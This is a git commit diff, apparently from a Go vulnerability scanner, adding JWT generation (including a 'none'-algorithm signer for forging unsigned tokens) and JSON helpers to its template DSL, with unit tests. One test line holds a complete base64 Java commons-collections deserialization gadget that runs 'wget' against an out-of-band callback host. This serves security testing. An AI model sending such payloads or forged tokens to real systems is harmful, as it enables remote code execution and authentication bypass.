Add generate_jwt & json_{minify,prettify} helper functions (#3160)

* feat(dsl): add generate_jwt helper func

* feat(dsl): add json_{minify,prettify} & quote_escape

* update(dsl): change type of data var to map[string]interface{}

* docs(dsl): list valid algos for generate_jwt

* test(dsl): add test case for json_{minify,prettify} & quote_escape

* update(dsl): refactor generate_jwt

* fix(lint): use time.Until instead of t.Sub(time.Now()) (gosimple)

* revert(dsl): remove quote_escape func

* ability to fuzz jwt noNe algorithm

* fix lint error

* jwt dsl minor improvement

Co-authored-by: Tarun Koyalwar <tarun@projectdiscovery.io>
dev
Dwi Siswanto 2023-01-15 23:28:51 +07:00 committed by GitHub
parent 67c094444e
commit 94ec553234
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 148 additions and 0 deletions

View File

@ -66,6 +66,7 @@ require (
github.com/go-git/go-git/v5 v5.5.2
github.com/h2non/filetype v1.1.3
github.com/hashicorp/go-version v1.6.0
github.com/kataras/jwt v0.1.8
github.com/klauspost/compress v1.15.13
github.com/labstack/echo/v4 v4.10.0
github.com/mholt/archiver v3.1.1+incompatible

View File

@ -394,6 +394,8 @@ github.com/kataras/golog v0.0.9/go.mod h1:12HJgwBIZFNGL0EJnMRhmvGA0PQGx8VFwrZtM4
github.com/kataras/golog v0.0.10/go.mod h1:yJ8YKCmyL+nWjERB90Qwn+bdyBZsaQwU3bTVFgkFIp8=
github.com/kataras/iris/v12 v12.0.1/go.mod h1:udK4vLQKkdDqMGJJVd/msuMtN6hpYJhg/lSzuxjhO+U=
github.com/kataras/iris/v12 v12.1.8/go.mod h1:LMYy4VlP67TQ3Zgriz8RE2h2kMZV2SgMYbq3UhfoFmE=
github.com/kataras/jwt v0.1.8 h1:u71baOsYD22HWeSOg32tCHbczPjdCk7V4MMeJqTtmGk=
github.com/kataras/jwt v0.1.8/go.mod h1:Q5j2IkcIHnfwy+oNY3TVWuEBJNw0ADgCcXK9CaZwV4o=
github.com/kataras/neffos v0.0.10/go.mod h1:ZYmJC07hQPW67eKuzlfY7SO3bC0mw83A3j6im82hfqw=
github.com/kataras/neffos v0.0.14/go.mod h1:8lqADm8PnbeFfL7CLXh1WHw53dG27MC3pgi2R1rmoTE=
github.com/kataras/pio v0.0.0-20190103105442-ea782b38602d/go.mod h1:NV88laa9UiiDuX9AhMbDPkGYSPugBOV6yTZB1l2K9Z0=

View File

@ -14,6 +14,7 @@ import (
"crypto/sha512"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"hash"
"html"
@ -32,6 +33,7 @@ import (
"github.com/Knetic/govaluate"
"github.com/asaskevich/govalidator"
"github.com/hashicorp/go-version"
"github.com/kataras/jwt"
"github.com/logrusorgru/aurora"
"github.com/spaolacci/murmur3"
@ -809,6 +811,118 @@ func init() {
data := gcm.Seal(nonce, nonce, []byte(value), nil)
return data, nil
}),
"generate_jwt": makeDslWithOptionalArgsFunction(
"(jsonString, optionalAlgorithm, optionalSignature string, optionalMaxAgeUnix interface{}) string",
func(args ...interface{}) (interface{}, error) {
var optionalAlgorithm string
var optionalSignature []byte
var optionalMaxAgeUnix time.Time
var signOpts []jwt.SignOption
var jsonData jwt.Map
argSize := len(args)
if argSize < 1 || argSize > 4 {
return nil, invalidDslFunctionError
}
jsonString := args[0].(string)
err := json.Unmarshal([]byte(jsonString), &jsonData)
if err != nil {
return nil, err
}
var algorithm jwt.Alg
if argSize > 1 {
alg := args[1].(string)
optionalAlgorithm = strings.ToUpper(alg)
switch optionalAlgorithm {
case "":
algorithm = jwt.NONE
case "HS256":
algorithm = jwt.HS256
case "HS384":
algorithm = jwt.HS384
case "HS512":
algorithm = jwt.HS512
case "RS256":
algorithm = jwt.RS256
case "RS384":
algorithm = jwt.RS384
case "RS512":
algorithm = jwt.RS512
case "PS256":
algorithm = jwt.PS256
case "PS384":
algorithm = jwt.PS384
case "PS512":
algorithm = jwt.PS512
case "ES256":
algorithm = jwt.ES256
case "ES384":
algorithm = jwt.ES384
case "ES512":
algorithm = jwt.ES512
case "EDDSA":
algorithm = jwt.EdDSA
}
if isjwtAlgorithmNone(alg) {
algorithm = &algNONE{algValue: alg}
}
if algorithm == nil {
return nil, fmt.Errorf("invalid algorithm: %s", optionalAlgorithm)
}
}
if argSize > 2 {
optionalSignature = []byte(args[2].(string))
}
if argSize > 3 {
times := make([]interface{}, 2)
times[0] = nil
times[1] = args[3]
optionalMaxAgeUnix, err = getCurrentTimeFromUserInput(times)
if err != nil {
return nil, err
}
duration := time.Until(optionalMaxAgeUnix)
signOpts = append(signOpts, jwt.MaxAge(duration))
}
return jwt.Sign(algorithm, optionalSignature, jsonData, signOpts...)
}),
"json_minify": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
var data map[string]interface{}
err := json.Unmarshal([]byte(args[0].(string)), &data)
if err != nil {
return nil, err
}
minified, err := json.Marshal(data)
if err != nil {
return nil, err
}
return string(minified), nil
}),
"json_prettify": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
var buf bytes.Buffer
err := json.Indent(&buf, []byte(args[0].(string)), "", " ")
if err != nil {
return nil, err
}
return buf.String(), nil
}),
}
dslFunctions = make(map[string]dslFunction, len(tempDslFunctions))
@ -1097,3 +1211,28 @@ func (e *CompilationError) Error() string {
func (e *CompilationError) Unwrap() error {
return e.WrappedError
}
type algNONE struct {
algValue string
}
func (a *algNONE) Name() string {
return a.algValue
}
func (a *algNONE) Sign(key jwt.PrivateKey, headerAndPayload []byte) ([]byte, error) {
return nil, nil
}
func (a *algNONE) Verify(key jwt.PublicKey, headerAndPayload []byte, signature []byte) error {
if !bytes.Equal(signature, []byte{}) {
return jwt.ErrTokenSignature
}
return nil
}
func isjwtAlgorithmNone(alg string) bool {
alg = strings.TrimSpace(alg)
return strings.ToLower(alg) == "none"
}

View File

@ -108,6 +108,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
dec_to_hex(arg1 interface{}) interface{}
ends_with(str string, suffix ...string) bool
generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
generate_jwt(jsonString, optionalAlgorithm, optionalSignature string, optionalMaxAgeUnix interface{}) string
gzip(arg1 interface{}) interface{}
gzip_decode(arg1 interface{}) interface{}
hex_decode(arg1 interface{}) interface{}
@ -118,6 +119,8 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
html_unescape(arg1 interface{}) interface{}
join(separator string, elements ...interface{}) string
join(separator string, elements []interface{}) string
json_minify(arg1 interface{}) interface{}
json_prettify(arg1 interface{}) interface{}
len(arg1 interface{}) interface{}
line_ends_with(str string, suffix ...string) bool
line_starts_with(str string, prefix ...string) bool
@ -216,6 +219,7 @@ func TestDslExpressions(t *testing.T) {
`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
`generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")`: []byte("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U"),
`base64_decode("SGVsbG8=")`: "Hello",
`hex_decode("6161")`: "aa",
`len("Hello")`: float64(5),
@ -264,6 +268,8 @@ func TestDslExpressions(t *testing.T) {
`uniq("ab", "cd", "12", "34", "12", "cd")`: []string{"ab", "cd", "12", "34"},
`join(" ", uniq("ab", "cd", "12", "34", "12", "cd"))`: "ab cd 12 34",
`join(", ", split(hex_encode("abcdefg"), 2))`: "61, 62, 63, 64, 65, 66, 67",
`json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")`: "{\"foo\":\"bar\",\"name\":\"John Doe\"}",
`json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")`: "{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}",
}
testDslExpressionScenarios(t, dslExpressions)